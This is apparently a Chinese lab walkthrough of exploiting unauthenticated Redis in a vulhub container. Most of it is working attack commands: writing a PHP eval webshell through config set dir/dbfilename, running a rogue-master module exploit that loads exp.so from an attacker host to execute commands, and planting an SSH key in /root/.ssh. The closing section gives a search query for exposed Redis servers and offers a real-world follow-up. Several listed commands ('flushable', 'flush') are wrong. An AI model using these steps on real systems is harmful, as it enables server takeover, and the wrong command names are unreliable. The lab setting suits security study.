目录
一、漏洞简介
二、靶场搭建
三、漏洞检测
四、工具安装
五、远程连接
六、利用Redis写入webshell
七、redis-getShell工具
八、ssh公私钥免密登录
九、其他
一、漏洞简介
redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。Redis未授权访问影响版本为5.0.5以下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
二、靶场搭建
漏洞复现基于vulhub靶场
关于docker、docker-compose、vulhub这些的安装我就不介绍了,网上有教程。
安装好vulhub靶场,切换到Redis目录
cd redis
进入未授权访问漏洞
cd 4-unacc
拉取镜像
docker-compose up -d
拉取成功后,查看运行的容器
docker ps
三、漏洞检测
新建一个IP.txt,输入我们虚拟机kali的IP用于测试
写个脚本进行漏洞检测(我们这里只检测默认端口6379)
运行后发现192.168.249.128确实存在未授权访问漏洞
四、工具安装
基于redis-cli工具
我们再开一台kali
我也是刚装的,以前一台就够用了
"the quieter you become,the more you are able to hear"
给kali安装redis-cli远程连接工具
下载
wget http://download.redis.io/redis-stable.tar.gz
解压
tar -zxvf redis-stable.tar.gz
切换到redis-stable
cd redis-stable
使用make命令自动编译文件
make
将src下的redis-cli 复制到 /usr/bin/(相当于Windows的添加环境变量)
cp src/redis-cli /usr/bin/
验证工具是否配置成功
redis-cli -h
没有报错 ,至此我们已经成功安装redis-cli
五、远程连接
使用redis-cli命令直接远程免密登录redis主机
(也可以追加参数-p指定端口,默认是在6379)
redis-cli -h 目标主机IP
如果有密码则使用
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码
常用命令
1.查看信息:info
2.删除所有数据库內容:flushable
3.刷新数据库:flush
4.查看所有键:keys *,使用 select num可以查看键值数据
5.设置变量:set test "myon"
6.config set dir dirpath设置路径等配置
7.config get dir/filename获取路径及数据配置信息
8.save保存
9.get变量:查看变量名称
比如我们执行info命令查看信息
如果能成功回显正常内容,那么基本上可以确认是存在Redis未授权访问漏洞的。
六、利用Redis写入webshell
首先补充一个知识点:
进入docker容器的命令
docker exec -it 容器id号 /bin/bash
这样我们就可以知道docker容器里的目录信息
接下来我们通过Redis远程连接写入webshell
比如我们写在tmp目录下,设置文件位置和文件名
config set dir /tmp
config set dbfilename shell.php
看到OK说明就是执行成功了的
写入webshell内容
set xxx "<?php eval($_REQUEST[cmd]);?>"
或者
set xxx "\r\n\r\n<?php eval($_REQUEST['cmd']);?>\r\n\r\n"
\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行,因此推荐使用第二种。
写入之后,使用save命令保存
此时,我们在靶场容器的tmp目录下就可以看到这个一句话木马
但是我们只知道shell.php在docker容器的路径,无法知道shell.php的绝对路径,因此无法从外界直接访问到也无法使用蚁剑连接,除非我们能找到文件的绝对路径。
七、redis-getShell工具
下载与编译
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-getShell
cd RedisModulesSDK/
make
利用此工具进行getShell,执行任意命令
切回上一级目录
使用Python执行
python redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "要执行的命令"
比如
python redis-master.py -r 192.168.249.128 -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"
或者使用./执行
./redis-master.py -r 靶机IP -p 6379 -L 攻击机IP -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"
八、ssh公私钥免密登录
登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥,然后将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,我们本地客户端通过导入对应私钥进行登陆,这就是RSA key的登陆方式。
但是为什么redis可以获取服务器的root权限呢?
上面RSA key的登陆方式在服务器方面是要将公钥写入authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要再redis是root启动的情况下使用,因为非root权限无法进入/root目录)
在攻击机中生成ssh公钥和私钥文件,密码为空
ssh-keygen -t rsa
进入/root/.ssh目录下,将生成的公钥保存到myon.txt
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > myon.txt
使用redis-cli 命令连接靶机,把myon.txt写入redis中
cat myon.txt | redis-cli -h 192.168.249.128 -x set crack
遇到报错:(error) READONLY You can't write against a read only slave
报错原因:
Redis 主服务器(master server)具有读写的权限,而 从服务器(slave master)默认 只具有 读 的权限。如果强行在从服务器中接入数据,则报错提示“(error) READONLY You can't write against a read only slave”。
解决方法:
方法1:修改 redis.conf 配置文件(永久生效)
修改 redis.conf 配置文件中的参数 slave-read-only yes ,将 yes 修改为 no ;然后保存并重启 redis 服务,此刻从服务器就具备了 读写权限。
(注意:此方法必须重启 Redis 服务,才能使配置生效。)
方法2:redis-cli 命令行中使用 config set 命令修改
在从Redis从服务器客户端命令行中 (redis-cli),通过 config set slave-read-only no 进行设置,立即生效,不需要重启 Redis 服务。(注意:若Redis从服务器重新启动,之前的设置参数就会失效,又会出现 redis 从服务器只有读权限。)
这里只是测试,我使用方法二进行修改
成功
再次执行上述命令
OK
更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
config set dir /root/.ssh
报错:(error) ERR Changing directory: Permission denied
没有root权限
九、其他
资产收集
product="redis"
可以看到使用resist的IP还是很多的
那么如果各位对实战感兴趣的话后面也可以给大家出一篇实战的,使用一些端口扫描、漏洞检测工具等进行poc的验证。